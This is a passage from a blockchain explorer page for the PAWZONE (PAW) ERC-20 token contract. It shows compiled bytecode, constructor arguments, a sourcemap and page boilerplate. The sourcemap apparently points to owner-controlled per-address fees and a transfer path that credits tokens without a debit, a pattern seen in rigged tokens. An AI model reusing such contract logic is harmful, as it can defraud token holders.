000000602082015250565b600061221f602e83611c80565b915061222a826121c3565b604082019050919050565b6000602082019050818103600083015261224e81612212565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006122b1602583611c80565b91506122bc82612255565b604082019050919050565b600060208201905081810360008301526122e0816122a4565b9050919050565b7f4f776e61626c653a206e6577204f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612343602683611c80565b915061234e826122e7565b604082019050919050565b6000602082019050818103600083015261237281612336565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006123d5602483611c80565b91506123e082612379565b604082019050919050565b60006020820190508181036000830152612404816123c8565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612467602283611c80565b91506124728261240b565b604082019050919050565b600060208201905081810360008301526124968161245a565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b60006124d3601d83611c80565b91506124de8261249d565b602082019050919050565b60006020820190508181036000830152612502816124c6565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612565602583611c80565b915061257082612509565b604082019050919050565b6000602082019050818103600083015261259481612558565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006125f7602383611c80565b91506126028261259b565b604082019050919050565b60006020820190508181036000830152612626816125ea565b9050919050565b7f45524332303a207472616e7366657220416d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612689602683611c80565b91506126948261262d565b604082019050919050565b600060208201905081810360008301526126b88161267c565b9050919050565b60006126ca82611d8a565b91506126d583611d8a565b92508282039050818111156126ed576126ec612160565b5b92915050565b60006126fe82611d8a565b915061270983611d8a565b925082820261271781611d8a565b9150828204841483151761272e5761272d612160565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061276f82611d8a565b915061277a83611d8a565b92508261278a57612789612735565b5b82820490509291505056fea264697066735822122049f1318091c14af8518a6f92485b1303ce52b4bb4bff84f2e2e43eaf4b233d1464736f6c63430008120033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000003b9aca0000000000000000000000000000000000000000000000000000000000000000075041575a4f4e450000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000035041570000000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): PAWZONE
Arg [1] : symbol_ (string): PAW
Arg [2] : totalSupply_ (uint256): 1000000000

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 000000000000000000000000000000000000000000000000000000003b9aca00
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000007
Arg [4] : 5041575a4f4e4500000000000000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [6] : 5041570000000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

12361:6343:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9743:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10324:192;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15853:125;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12636:51;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10055:99;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15732:113;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;18013:288;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15162:98;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9957:84;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10530:240;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15270:94;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12694:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15600:122;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15031:121;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12511:118;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;787:103;;;:::i;:::-;;15388:196;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9848:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10776:438;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17704:299;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;561:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10168:142;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;898:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9743:91;9788:13;9821:5;9814:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9743:91;:::o;10324:192::-;10398:4;10415:13;10431:12;:10;:12::i;:::-;10415:28;;10454:32;10463:5;10470:7;10479:6;10454:8;:32::i;:::-;10504:4;10497:11;;;10324:192;;;;:::o;15853:125::-;15928:4;710:12;:10;:12::i;:::-;700:22;;:6;;;;;;;;;;;:22;;;692:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;15952:8:::1;:18;15961:8;15952:18;;;;;;;;;;;;;;;;;;;;;;;;;15945:25;;15853:125:::0;;;:::o;12636:51::-;;;:::o;10055:99::-;10107:7;10134:12;;10127:19;;10055:99;:::o;15732:113::-;710:12;:10;:12::i;:::-;700:22;;:6;;;;;;;;;;;:22;;;692:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;15831:6:::1;15810:8;:18;15819:8;15810:18;;;;;;;;;;;;;;;;:27;;;;;;;;;;;;;;;;;;15732:113:::0;;:::o;18013:288::-;18135:4;18152:15;18170:12;:10;:12::i;:::-;18152:30;;18195:38;18211:4;18217:7;18226:6;18195:15;:38::i;:::-;18244:27;18254:4;18260:2;18264:6;18244:9;:27::i;:::-;18289:4;18282:11;;;18013:288;;;;;:::o;15162:98::-;710:12;:10;:12::i;:::-;700:22;;:6;;;;;;;;;;;:22;;;692:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;15244:8:::1;15228:13;;:24;;;;;;;;;;;;;;;;;;15162:98:::0;:::o;9957:84::-;10006:5;10031:2;10024:9;;9957:84;:::o;10530:240::-;10618:4;10635:13;10651:12;:10;:12::i;:::-;10635:28;;10674:66;10683:5;10690:7;10729:10;10699:11;:18;10711:5;10699:18;;;;;;;;;;;;;;;:27;10718:7;10699:27;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;10674:8;:66::i;:::-;10758:4;10751:11;;;10530:240;;;;:::o;15270:94::-;710:12;:10;:12::i;:::-;700:22;;:6;;;;;;;;;;;:22;;;692:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;15350:6:::1;15331:16;:25;;;;15270:94:::0;:::o;12694:28::-;;;;;;;;;;;;;:::o;15600:122::-;15670:7;710:12;:10;:12::i;:::-;700:22;;:6;;;;;;;;;;;:22;;;692:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;15697:7:::1;:17;15705:8;15697:17;;;;;;;;;;;;;;;;15690:24;;15600:122:::0;;;:::o;15031:121::-;15102:4;710:12;:10;:12::i;:::-;700:22;;:6;;;;;;;;;;;:22;;;692:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;15126:8:::1;:18;15135:8;15126:18;;;;;;;;;;;;;;;;;;;;;;;;;15119:25;;15031:121:::0;;;:::o;12511:118::-;12576:7;12603:9;:18;12613:7;12603:18;;;;;;;;;;;;;;;;12596:25;;12511:118;;;:::o;787:103::-;710:12;:10;:12::i;:::-;700:22;;:6;;;;;;;;;;;:22;;;692:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;852:30:::1;879:1;852:18;:30::i;:::-;787:103::o:0;15388:196::-;710:12;:10;:12::i;:::-;700:22;;:6;;;;;;;;;;;:22;;;692:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;15487:1:::1;15477:6;:11;;15469:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;15570:6;15550:7;:17;15558:8;15550:17;;;;;;;;;;;;;;;:26;;;;15388:196:::0;;:::o;9848:95::-;9895:13;9928:7;9921:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9848:95;:::o;10776:438::-;10869:4;10886:13;10902:12;:10;:12::i;:::-;10886:28;;10925:24;10952:11;:18;10964:5;10952:18;;;;;;;;;;;;;;;:27;10971:7;10952:27;;;;;;;;;;;;;;;;10925:54;;11018:15;10998:16;:35;;10990:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;11111:60;11120:5;11127:7;11155:15;11136:16;:34;11111:8;:60::i;:::-;11202:4;11195:11;;;;10776:438;;;;:::o;17704:299::-;17774:4;17791:13;17807:12;:10;:12::i;:::-;17791:28;;17853:4;17834:23;;:8;:15;17843:5;17834:15;;;;;;;;;;;;;;;;;;;;;;;;;:23;;;17830:105;;17891:6;17874:9;:13;17884:2;17874:13;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;17919:4;17912:11;;;;;17830:105;17945:28;17955:5;17962:2;17966:6;17945:9;:28::i;:::-;17991:4;17984:11;;;17704:299;;;;;:::o;561:91::-;607:7;561:91;:::o;10168:142::-;10248:7;10275:11;:18;10287:5;10275:18;;;;;;;;;;;;;;;:27;10294:7;10275:27;;;;;;;;;;;;;;;;10268:34;;10168:142;;;;:::o;898:201::-;710:12;:10;:12::i;:::-;700:22;;:6;;;;;;;;;;;:22;;;692:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;1007:1:::1;987:22;;:8;:22;;::::0;979:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;1063:28;1082:8;1063:18;:28::i;:::-;898:201:::0;:::o;105:98::-;158:7;185:10;178:17;;105:98;:::o;11228:380::-;11381:1;11364:19;;:5;:19;;;11356:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11462:1;11443:21;;:7;:21;;;11435:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11546:6;11516:11;:18;11528:5;11516:18;;;;;;;;;;;;;;;:27;11535:7;11516:27;;;;;;;;;;;;;;;:36;;;;11584:7;11568:32;;11577:5;11568:32;;;11593:6;11568:32;;;;;;:::i;:::-;;;;;;;;11228:380;;;:::o;11622:453::-;11757:24;11784:25;11794:5;11801:7;11784:9;:25::i;:::-;11757:52;;11844:17;11824:16;:37;11820:248;;11906:6;11886:16;:26;;11878:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11990:51;11999:5;12006:7;12034:6;12015:16;:25;11990:8;:51::i;:::-;11820:248;11746:329;11622:453;;;:::o;16134:1562::-;16282:1;16266:18;;:4;:18;;;16258:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;16359:1;16345:16;;:2;:16;;;16337:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;16414:19;16436:9;:15;16446:4;16436:15;;;;;;;;;;;;;;;;16414:37;;16485:7;16470:11;:22;;16462:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;16548:7;16558:4;16548:14;;16579:27;16597:4;16603:2;16579:17;:27::i;:::-;16575:70;;;16628:5;16623:10;;16575:70;16655:23;16699:2;16695:515;;;16718:17;16783:1;16758:27;;:13;;;;;;;;;;;:27;;;16754:282;;16816:13;;;;;;;;;;;16810:19;;:2;:19;;;16806:98;;16868:16;;16856:28;;16806:98;16934:13;;;;;;;;;;;16926:21;;:4;:21;;;16922:99;;16986:15;;16974:27;;16922:99;16754:282;17070:1;17054:7;:13;17062:4;17054:13;;;;;;;;;;;;;;;;:17;17050:83;;;17104:7;:13;17112:4;17104:13;;;;;;;;;;;;;;;;17092:25;;17050:83;17167:31;17194:3;17167:22;17179:9;17167:7;:11;;:22;;;;:::i;:::-;:26;;:31;;;;:::i;:::-;17149:49;;16703:507;16695:515;17246:1;17228:15;:19;17224:256;;;17282:36;17302:15;17282:9;:15;17292:4;17282:15;;;;;;;;;;;;;;;;:19;;:36;;;;:::i;:::-;17264:9;:15;17274:4;17264:15;;;;;;;;;;;;;;;:54;;;;17359:44;17387:15;17359:9;:23;14976:42;17359:23;;;;;;;;;;;;;;;;:27;;:44;;;;:::i;:::-;17333:9;:23;14976:42;17333:23;;;;;;;;;;;;;;;:70;;;;14976:42;17423:45;;17432:4;17423:45;;;17452:15;17423:45;;;;;;:::i;:::-;;;;;;;;17224:256;17510:46;17540:15;17530:7;:25;;;;:::i;:::-;17510:9;:15;17520:4;17510:15;;;;;;;;;;;;;;;;:19;;:46;;;;:::i;:::-;17492:9;:15;17502:4;17492:15;;;;;;;;;;;;;;;:64;;;;17583:44;17611:15;17601:7;:25;;;;:::i;:::-;17583:9;:13;17593:2;17583:13;;;;;;;;;;;;;;;;:17;;:44;;;;:::i;:::-;17567:9;:13;17577:2;17567:13;;;;;;;;;;;;;;;:60;;;;17658:2;17643:45;;17652:4;17643:45;;;17672:15;17662:7;:25;;;;:::i;:::-;17643:45;;;;;;:::i;:::-;;;;;;;;16247:1449;;;16134:1562;;;:::o;1107:191::-;1181:16;1200:6;;;;;;;;;;;1181:25;;1226:8;1217:6;;:17;;;;;;;;;;;;;;;;;;1281:8;1250:40;;1271:8;1250:40;;;;;;;;;;;;1170:128;1107:191;:::o;15986:138::-;16062:4;16086:8;:14;16095:4;16086:14;;;;;;;;;;;;;;;;;;;;;;;;;:30;;;;16104:8;:12;16113:2;16104:12;;;;;;;;;;;;;;;;;;;;;;;;;16086:30;16079:37;;15986:138;;;;:::o;2676:98::-;2734:7;2765:1;2761;:5;;;;:::i;:::-;2754:12;;2676:98;;;;:::o;2782:::-;2840:7;2871:1;2867;:5;;;;:::i;:::-;2860:12;;2782:98;;;;:::o;2570:::-;2628:7;2659:1;2655;:5;;;;:::i;:::-;2648:12;;2570:98;;;;:::o;2464:::-;2522:7;2553:1;2549;:5;;;;:::i;:::-;2542:12;;2464:98;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:329::-;3505:6;3554:2;3542:9;3533:7;3529:23;3525:32;3522:119;;;3560:79;;:::i;:::-;3522:119;3680:1;3705:53;3750:7;3741:6;3730:9;3726:22;3705:53;:::i;:::-;3695:63;;3651:117;3446:329;;;;:::o;3781:60::-;3809:3;3830:5;3823:12;;3781:60;;;:::o;3847:142::-;3897:9;3930:53;3948:34;3957:24;3975:5;3957:24;:::i;:::-;3948:34;:::i;:::-;3930:53;:::i;:::-;3917:66;;3847:142;;;:::o;3995:126::-;4045:9;4078:37;4109:5;4078:37;:::i;:::-;4065:50;;3995:126;;;:::o;4127:152::-;4203:9;4236:37;4267:5;4236:37;:::i;:::-;4223:50;;4127:152;;;:::o;4285:183::-;4398:63;4455:5;4398:63;:::i;:::-;4393:3;4386:76;4285:183;;:::o;4474:274::-;4593:4;4631:2;4620:9;4616:18;4608:26;;4644:97;4738:1;4727:9;4723:17;4714:6;4644:97;:::i;:::-;4474:274;;;;:::o;4754:118::-;4841:24;4859:5;4841:24;:::i;:::-;4836:3;4829:37;4754:118;;:::o;4878:222::-;4971:4;5009:2;4998:9;4994:18;4986:26;;5022:71;5090:1;5079:9;5075:17;5066:6;5022:71;:::i;:::-;4878:222;;;;:::o;5106:116::-;5176:21;5191:5;5176:21;:::i;:::-;5169:5;5166:32;5156:60;;5212:1;5209;5202:12;5156:60;5106:116;:::o;5228:133::-;5271:5;5309:6;5296:20;5287:29;;5325:30;5349:5;5325:30;:::i;:::-;5228:133;;;;:::o;5367:468::-;5432:6;5440;5489:2;5477:9;5468:7;5464:23;5460:32;5457:119;;;5495:79;;:::i;:::-;5457:119;5615:1;5640:53;5685:7;5676:6;5665:9;5661:22;5640:53;:::i;:::-;5630:63;;5586:117;5742:2;5768:50;5810:7;5801:6;5790:9;5786:22;5768:50;:::i;:::-;5758:60;;5713:115;5367:468;;;;;:::o;5841:619::-;5918:6;5926;5934;5983:2;5971:9;5962:7;5958:23;5954:32;5951:119;;;5989:79;;:::i;:::-;5951:119;6109:1;6134:53;6179:7;6170:6;6159:9;6155:22;6134:53;:::i;:::-;6124:63;;6080:117;6236:2;6262:53;6307:7;6298:6;6287:9;6283:22;6262:53;:::i;:::-;6252:63;;6207:118;6364:2;6390:53;6435:7;6426:6;6415:9;6411:22;6390:53;:::i;:::-;6380:63;;6335:118;5841:619;;;;;:::o;6466:86::-;6501:7;6541:4;6534:5;6530:16;6519:27;;6466:86;;;:::o;6558:112::-;6641:22;6657:5;6641:22;:::i;:::-;6636:3;6629:35;6558:112;;:::o;6676:214::-;6765:4;6803:2;6792:9;6788:18;6780:26;;6816:67;6880:1;6869:9;6865:17;6856:6;6816:67;:::i;:::-;6676:214;;;;:::o;6896:329::-;6955:6;7004:2;6992:9;6983:7;6979:23;6975:32;6972:119;;;7010:79;;:::i;:::-;6972:119;7130:1;7155:53;7200:7;7191:6;7180:9;7176:22;7155:53;:::i;:::-;7145:63;;7101:117;6896:329;;;;:::o;7231:118::-;7318:24;7336:5;7318:24;:::i;:::-;7313:3;7306:37;7231:118;;:::o;7355:222::-;7448:4;7486:2;7475:9;7471:18;7463:26;;7499:71;7567:1;7556:9;7552:17;7543:6;7499:71;:::i;:::-;7355:222;;;;:::o;7583:474::-;7651:6;7659;7708:2;7696:9;7687:7;7683:23;7679:32;7676:119;;;7714:79;;:::i;:::-;7676:119;7834:1;7859:53;7904:7;7895:6;7884:9;7880:22;7859:53;:::i;:::-;7849:63;;7805:117;7961:2;7987:53;8032:7;8023:6;8012:9;8008:22;7987:53;:::i;:::-;7977:63;;7932:118;7583:474;;;;;:::o;8063:180::-;8111:77;8108:1;8101:88;8208:4;8205:1;8198:15;8232:4;8229:1;8222:15;8249:320;8293:6;8330:1;8324:4;8320:12;8310:22;;8377:1;8371:4;8367:12;8398:18;8388:81;;8454:4;8446:6;8442:17;8432:27;;8388:81;8516:2;8508:6;8505:14;8485:18;8482:38;8479:84;;8535:18;;:::i;:::-;8479:84;8300:269;8249:320;;;:::o;8575:182::-;8715:34;8711:1;8703:6;8699:14;8692:58;8575:182;:::o;8763:366::-;8905:3;8926:67;8990:2;8985:3;8926:67;:::i;:::-;8919:74;;9002:93;9091:3;9002:93;:::i;:::-;9120:2;9115:3;9111:12;9104:19;;8763:366;;;:::o;9135:419::-;9301:4;9339:2;9328:9;9324:18;9316:26;;9388:9;9382:4;9378:20;9374:1;9363:9;9359:17;9352:47;9416:131;9542:4;9416:131;:::i;:::-;9408:139;;9135:419;;;:::o;9560:180::-;9608:77;9605:1;9598:88;9705:4;9702:1;9695:15;9729:4;9726:1;9719:15;9746:191;9786:3;9805:20;9823:1;9805:20;:::i;:::-;9800:25;;9839:20;9857:1;9839:20;:::i;:::-;9834:25;;9882:1;9879;9875:9;9868:16;;9903:3;9900:1;9897:10;9894:36;;;9910:18;;:::i;:::-;9894:36;9746:191;;;;:::o;9943:233::-;10083:34;10079:1;10071:6;10067:14;10060:58;10152:16;10147:2;10139:6;10135:15;10128:41;9943:233;:::o;10182:366::-;10324:3;10345:67;10409:2;10404:3;10345:67;:::i;:::-;10338:74;;10421:93;10510:3;10421:93;:::i;:::-;10539:2;10534:3;10530:12;10523:19;;10182:366;;;:::o;10554:419::-;10720:4;10758:2;10747:9;10743:18;10735:26;;10807:9;10801:4;10797:20;10793:1;10782:9;10778:17;10771:47;10835:131;10961:4;10835:131;:::i;:::-;10827:139;;10554:419;;;:::o;10979:224::-;11119:34;11115:1;11107:6;11103:14;11096:58;11188:7;11183:2;11175:6;11171:15;11164:32;10979:224;:::o;11209:366::-;11351:3;11372:67;11436:2;11431:3;11372:67;:::i;:::-;11365:74;;11448:93;11537:3;11448:93;:::i;:::-;11566:2;11561:3;11557:12;11550:19;;11209:366;;;:::o;11581:419::-;11747:4;11785:2;11774:9;11770:18;11762:26;;11834:9;11828:4;11824:20;11820:1;11809:9;11805:17;11798:47;11862:131;11988:4;11862:131;:::i;:::-;11854:139;;11581:419;;;:::o;12006:225::-;12146:34;12142:1;12134:6;12130:14;12123:58;12215:8;12210:2;12202:6;12198:15;12191:33;12006:225;:::o;12237:366::-;12379:3;12400:67;12464:2;12459:3;12400:67;:::i;:::-;12393:74;;12476:93;12565:3;12476:93;:::i;:::-;12594:2;12589:3;12585:12;12578:19;;12237:366;;;:::o;12609:419::-;12775:4;12813:2;12802:9;12798:18;12790:26;;12862:9;12856:4;12852:20;12848:1;12837:9;12833:17;12826:47;12890:131;13016:4;12890:131;:::i;:::-;12882:139;;12609:419;;;:::o;13034:223::-;13174:34;13170:1;13162:6;13158:14;13151:58;13243:6;13238:2;13230:6;13226:15;13219:31;13034:223;:::o;13263:366::-;13405:3;13426:67;13490:2;13485:3;13426:67;:::i;:::-;13419:74;;13502:93;13591:3;13502:93;:::i;:::-;13620:2;13615:3;13611:12;13604:19;;13263:366;;;:::o;13635:419::-;13801:4;13839:2;13828:9;13824:18;13816:26;;13888:9;13882:4;13878:20;13874:1;13863:9;13859:17;13852:47;13916:131;14042:4;13916:131;:::i;:::-;13908:139;;13635:419;;;:::o;14060:221::-;14200:34;14196:1;14188:6;14184:14;14177:58;14269:4;14264:2;14256:6;14252:15;14245:29;14060:221;:::o;14287:366::-;14429:3;14450:67;14514:2;14509:3;14450:67;:::i;:::-;14443:74;;14526:93;14615:3;14526:93;:::i;:::-;14644:2;14639:3;14635:12;14628:19;;14287:366;;;:::o;14659:419::-;14825:4;14863:2;14852:9;14848:18;14840:26;;14912:9;14906:4;14902:20;14898:1;14887:9;14883:17;14876:47;14940:131;15066:4;14940:131;:::i;:::-;14932:139;;14659:419;;;:::o;15084:179::-;15224:31;15220:1;15212:6;15208:14;15201:55;15084:179;:::o;15269:366::-;15411:3;15432:67;15496:2;15491:3;15432:67;:::i;:::-;15425:74;;15508:93;15597:3;15508:93;:::i;:::-;15626:2;15621:3;15617:12;15610:19;;15269:366;;;:::o;15641:419::-;15807:4;15845:2;15834:9;15830:18;15822:26;;15894:9;15888:4;15884:20;15880:1;15869:9;15865:17;15858:47;15922:131;16048:4;15922:131;:::i;:::-;15914:139;;15641:419;;;:::o;16066:224::-;16206:34;16202:1;16194:6;16190:14;16183:58;16275:7;16270:2;16262:6;16258:15;16251:32;16066:224;:::o;16296:366::-;16438:3;16459:67;16523:2;16518:3;16459:67;:::i;:::-;16452:74;;16535:93;16624:3;16535:93;:::i;:::-;16653:2;16648:3;16644:12;16637:19;;16296:366;;;:::o;16668:419::-;16834:4;16872:2;16861:9;16857:18;16849:26;;16921:9;16915:4;16911:20;16907:1;16896:9;16892:17;16885:47;16949:131;17075:4;16949:131;:::i;:::-;16941:139;;16668:419;;;:::o;17093:222::-;17233:34;17229:1;17221:6;17217:14;17210:58;17302:5;17297:2;17289:6;17285:15;17278:30;17093:222;:::o;17321:366::-;17463:3;17484:67;17548:2;17543:3;17484:67;:::i;:::-;17477:74;;17560:93;17649:3;17560:93;:::i;:::-;17678:2;17673:3;17669:12;17662:19;;17321:366;;;:::o;17693:419::-;17859:4;17897:2;17886:9;17882:18;17874:26;;17946:9;17940:4;17936:20;17932:1;17921:9;17917:17;17910:47;17974:131;18100:4;17974:131;:::i;:::-;17966:139;;17693:419;;;:::o;18118:225::-;18258:34;18254:1;18246:6;18242:14;18235:58;18327:8;18322:2;18314:6;18310:15;18303:33;18118:225;:::o;18349:366::-;18491:3;18512:67;18576:2;18571:3;18512:67;:::i;:::-;18505:74;;18588:93;18677:3;18588:93;:::i;:::-;18706:2;18701:3;18697:12;18690:19;;18349:366;;;:::o;18721:419::-;18887:4;18925:2;18914:9;18910:18;18902:26;;18974:9;18968:4;18964:20;18960:1;18949:9;18945:17;18938:47;19002:131;19128:4;19002:131;:::i;:::-;18994:139;;18721:419;;;:::o;19146:194::-;19186:4;19206:20;19224:1;19206:20;:::i;:::-;19201:25;;19240:20;19258:1;19240:20;:::i;:::-;19235:25;;19284:1;19281;19277:9;19269:17;;19308:1;19302:4;19299:11;19296:37;;;19313:18;;:::i;:::-;19296:37;19146:194;;;;:::o;19346:410::-;19386:7;19409:20;19427:1;19409:20;:::i;:::-;19404:25;;19443:20;19461:1;19443:20;:::i;:::-;19438:25;;19498:1;19495;19491:9;19520:30;19538:11;19520:30;:::i;:::-;19509:41;;19699:1;19690:7;19686:15;19683:1;19680:22;19660:1;19653:9;19633:83;19610:139;;19729:18;;:::i;:::-;19610:139;19394:362;19346:410;;;;:::o;19762:180::-;19810:77;19807:1;19800:88;19907:4;19904:1;19897:15;19931:4;19928:1;19921:15;19948:185;19988:1;20005:20;20023:1;20005:20;:::i;:::-;20000:25;;20039:20;20057:1;20039:20;:::i;:::-;20034:25;;20078:1;20068:35;;20083:18;;:::i;:::-;20068:35;20125:1;20122;20118:9;20113:14;;19948:185;;;;:::o

Swarm Source

ipfs://49f1318091c14af8518a6f92485b1303ce52b4bb4bff84f2e2e43eaf4b233d14
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.